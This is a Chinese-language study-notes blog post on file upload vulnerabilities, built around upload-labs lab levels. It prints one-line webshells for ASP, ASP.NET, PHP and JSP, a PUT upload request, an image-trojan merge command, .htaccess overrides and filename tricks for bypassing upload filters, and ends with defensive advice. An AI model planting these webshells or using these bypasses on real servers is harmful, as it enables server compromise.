• 网络安全笔记-WebShell与文件上传


    文件上传漏洞

    文件上传是Web应用到必备功能之一,比如上传头像显示个性化,上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。

    • 漏洞成因
      文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。
    • 漏洞危害
      上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果Web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。
      通过上传漏洞获得的网站后门,就是WebShell。
    • WebShell
      在计算机科学中,Shell俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下bash等,虽然这些系统上的命令解释器不止一种。
      WebShell是一个网站的后门,也是一个命令解释器,不过是以Web方式(HTTP协议)通信(传递命令消息),继承了Web用户的权限。WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp等,也就是说WebShell接收来自于Web用户的命令,然后在服务器端执行。
    • 大马
      WebShell也可以是大马,也是网站木马。有一类WebShell之所以叫大马,是因为与小马(一句话木马)区分开,并且大码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。
      在大马中我们可以进行文件管理,执行系统命令与一些其他定制功能。
    • 小马
      小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。
    #ASP:
    <%eval request("cmd")%>
    #ASP.NET
    <%@ Page Language="Jscript"%>"
    <%eval(Request.Item["cmd","unsafe"]);%>
    #PHP
    $_REQUEST["cmd"]);?>
    #JSP
    <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php的一句话木马,密码就是[cmd]。
    中国菜刀与一句话木马配合实现了三大基本功能,如下:

    1. 文件管理
    2. 虚拟终端
    3. 数据库管理
    • GetShell
      GetShell顾名思义就是获取Web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。

    文件上传漏洞利用的条件

    • 一定的条件

    Web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(Web用户可以访问);
    Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限。
    要想完美利用文件上传漏洞就,需要上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
    无视以上条件的情况就是服务器配置不当,开启了PUT方法。

    防御、绕过、利用
    文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。

    • 黑白名单策略
      黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单中,一律“禁止”,如果“客体”在白名单中一律“允许”。类似于手机号码的黑白名单。
      举例:
      1、Chrome浏览器中的黑白名单策略
      政策 说明
      URLBlacklist:
      禁止用户访问您已阻止的网址。不过,用户可以访问黑名单之外的所有网址。不设置此政策:用户将可以自由访问所有网址。
      URLWhitelist:
      将此政策与URLBlacklist政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问;白名单优先级高于黑名单。您至少要在黑名单中添加一个条目,才能正常使用此策略;不设置此策略:网址黑名单将没有例外网址。
      2、华为收集安装软件黑白名单策略
      模式 说明
      白名单模式,检查只能安装的软件:
      只允许终端主机安装软件白名单中的软件,安装其他软件则属于违规行为;
      对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为;
      对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为。
      白名单+黑名单模式,检查必须安装的软件和禁止安装的软件:
      如果终端主机未安装白名单中的任意一款软件,则属于违规行为;
      如果终端主机已经安装黑名单中的任意一款软件,则属于违规行为;
      如果终端主机已经安装白名单中所有软件,并且没有安装黑名单中的任意一款软件,则不属于违规行为。

    PUT方法上传文件 (心跳检测)
    HTTP请求方法之一,允许向服务器直接写入文件。
    1、Apache如何开启PUT方法
    @ 测试Apache是否开启了put方法

    telnet ip 80
    OPTIONS / HTTP/1.1
    HOST:ip
    
    • 1
    • 2
    • 3

    @ Apache开启put方法操作

    Apache如何查看与设置PUT请求+利用PUT方法上传文件
    httpd.conf 文件
    开启模块

    LoadModule dav_module modules/mod_dav.so
    LoadModule dav_fs_module modules/mod_dav_fs.so
    
    • 1
    • 2

    启用模块

    <Directory />
    	Options + Indexes + FollowSymLinks + ExecCGI
    	AllowOverride All
    	Order allow,deny
    	Require all granted
    	DAV On
    <Directory />
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    开启文件锁
    DavKockDB c:\phpstudy\www\DavLock

    上传文件

    PUT /info.php HTTP/1.1
    Host :ip
    Content-Length:18
    <?php phpinfo();?>
    
    • 1
    • 2
    • 3
    • 4

    两类验证方法

    1、前端限制与绕过

    有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测问奶奶后缀名等。upload-labs第一关,以下是经典的代码:

    <script type="text/javascript">
    function checkFile(){
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == ""){
    alert("请选择要上传的文件!");
    return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexoOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name)==-1){
    var errMsg = "该文件不允许上传,请上传"+allow_ext+"类型文件,当前文件类型为:"+ext_name;
    alert(errMsg);
    return false;
    }
    }
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    此段JS代码采用白名单策略,检测文件后缀名。配合表单事件使用。

    <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>请选择要上传的图片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上传"/>
    </form>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    前端JS脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
    方法1:因为JS脚本的运行环境是浏览器,我们可以修改JS代码,甚至删除表单事件。
    方法2:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可。

    2、服务器端验证

    对于文件上传,只从Web前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略,检测如下内容。

    • 服务器端检测-MIME类型
      MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下
      文件扩展名 Mime-Type
      .js application/x-javascript
      .html text/html
      .jpg image/jpeg
      .png image/png
      .pdf application/pdf
      在HTTP协议中,使用Content-Type字段表示文件的MIME类型当我们上传文件的时候,抓到HTTP数据包。
      在服务器端会检测Content-Type类型,upload-labs第二关,经典代码如下:
    if(isset($_POST['submit'])){
    	if(file_exists($UPLOAD_ADDR)){
    		if(($_FILES['upload_file']['type']=='image/jpeg')||($_FILES['upload_file']['type']=='image/png')||($_FILES['upload_file']['type']=='image/gif')){
    			if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])){
    				$img_path=$UPLOAD_ADDR . $_FILES['upload_file']['name'];
    				$is_upload=true;}
    				}else{
    				$msg='文件类型不正确,请重新上传!';
    			}
    		}else{
    	$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。

    • 访问上传的文件
      服务器端检测–文件内容
      除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。PHP中有一个函数getimagesize(),这个函数本意是检查图片大小,但是在检查之前,该函数会判断目标文件是否是一张图片。因此,可以用该函数来检测文件的内容。upload-load14关。
    function isImage($filename){
    	$types='.jpeh|.png|.gif';
    		if(file_exists($filename)){
    			$info=getimagesize($filename);
    				$ext=image_type_toextension($info[2]);
    					if(strupos($types,$ext)){
    						return $ext;
    						}else{
    					return false;
    				}
    			}else{
    		return false;
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    对于文件内容检测,可以通过制作上传图片木马绕过

    图片木马制作(将恶意脚本写入图片中)

    1、GIF89a
    2、文件合并
    命令行方法,准备一个图片和木马文件通过以下命令将两个文件合二为一。

    [copy smile.jpg/b+info.php/a smileInfo.jpg]
    
    • 1

    可能受到图片源码影响,这时候换一张图片,或者使用别的方法
    利用十六进制编辑器
    所有jpg图片的文件头部是相同的,png和gif也是一样的。(文件幻数)
    gif:47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
    jpg:FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
    png89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

    服务器端检测–后缀名

    服务器端还会检测文件后缀名
    服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp…等可执行脚本的文件;白名单策略,只允许上传jpg|gif|png|doc|rar…等格式的文件。

    • @黑名单
      代码中$deny_ext数据就是一个黑名单,数组元素就是不允许上传的类型。
      对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。
      可以执行脚本后缀名
      .php .php2 .php3 .php5 .phtml
      .asp .aspx .ascx .ashx .asa .cer
      .jsp .jspx
    • @白名单
      对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。

    截断

    00截断

    00截断就是Null(空)字符(c语言),URL中表现为%00,00截断会导致文件上传路径截断。
    以upload-labs第十一关为例子说明这个问题。

    if(isset($_POST['submit'])){
    	$ext_arr = array('jpg','png','gif');
    	$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    		if(in_array($file_ext,$ext_arr)){
    		$temp_file = $_FILES['upload_file']['tmp_name'];
    		$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
    			if(move_uploaded_file($temp_file,$img_path)){
    			$is_upload = true;
    			}
    			else{
    			$msg = '上传失败!';
    			}
    		}
    		else{
    		$msg = "只允许上传.jpg|.png|.gif类型文件!";
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    .htaccess攻击

    .htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。
    如果一个Web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apache的配置,这是十分危险的。.htaccess攻击想象空间非常大。
    首先看Apache的配置文件,允许.htaccess文件覆盖掉Apache的配置。

    # .htaccess文件 (easy).  
    <FilesMatch "ajest">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    • 1
    • 2
    • 3
    • 4
    • 将.png文件当作PHP文件解析
      将一些代码写入文件,并保存成.htaccess名字,放到测试目录下
      AddTyoe application/x-httpd-php .png
      在同一目录下创建一个文件[info.png],文件内容如下
    <?php
    phpinfo();
    ?>
    
    • 1
    • 2
    • 3

    当我们访问该文件时,[info.png]内的PHP代码将会被执行。

    • 文件名中包含php关键字
      当文件名[info.php.png]中包含关键字[.php],并且.htaccess文件内容如下,info.php.png中的代码会被执行。
      AddHandler php5-script php
    • 匹配文件名
      以下配置是匹配文件名[ajest],找到该文件,并执行其中的PHP代码
    <FilesMatch "ajest">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    • 1
    • 2
    • 3
    • upload-labs 第四关
      先上传[.htaccess]文件
      再上传[ajest]

    Web容器解析漏洞

    Web容器解析漏洞,就是Web容器在解析脚本出现的“bug”

    • Apache解析漏洞(解析顺序从后向前-古老)
      info.php.xxx.xx.x
    • IIS6.0解析漏洞
      1、asp;.jpg
      time.asp;.jpg
      2、1.asp/time.jpg
    • PHP CGI解析漏洞
      1、需要IIS7.0/7.5
      IIS7.0/7.5+PHP环境
      让IIS7.0/7.5支持PHP环境
      http://localhost:8000/info.png/1.php
      2、Nginx解析漏洞
      /info.png/1.php
    • Nginx空字节漏洞
    • Nginx文件名逻辑漏洞(CVE-2013-4745)

    常见编辑器上传

    编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。

    • ewebeditor
    • fckeditor

    常见CMS上传

    dedeCMS、PHPcms

    南方数据管理系统

    注入点
    asp|access|.MDB|下载

    利用数据库备份进行文件上传(getshell)

    metinfov5.0.4文件上传

    文件上传漏洞的防御

    关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片码中的恶意代码。如果一个Web应用能够上传图片木马,那么我们认为这个Web应用是不安全的。文件上传漏洞的防御主要从以下几个方面考虑。

    • 代码角度
      采用白名单策略。严格限制上传文件的后缀名。
      进行二次渲染,过滤掉图片码中的恶意代码。
      上传文件重命名,尽量少的从客户端获取信息。
      避免文件包含漏洞。
      严格处理文件路径,防御00截断漏洞,避开空格、点、::$DATA等windows特性。
    • 服务器角度
      及时更新Web容器,防止解析漏洞产生。
      可写目录不给执行权限。

    参考

    IIS WebDAV安全配置
    Upload-labs通关手册
    解析漏洞总结

  • 相关阅读:
    vue虚拟dom和diff算法
    软件测试——Postman Script脚本功能
    经典中的经典之字符串
    搭建卷积神经网络实现训练、预测实战
    重新执行先前已撤消的操作-视频监控程序
    学习太极创客 — MQTT(八)ESP8266订阅MQTT主题
    鸿蒙系统控制LED的实现方法之经典
    7、迁移学习
    牛客刷题,python入门基础(14)
    Leetcode刷题解析——串联所有单词的子串
  • 原文地址:https://blog.csdn.net/L120305q/article/details/126359223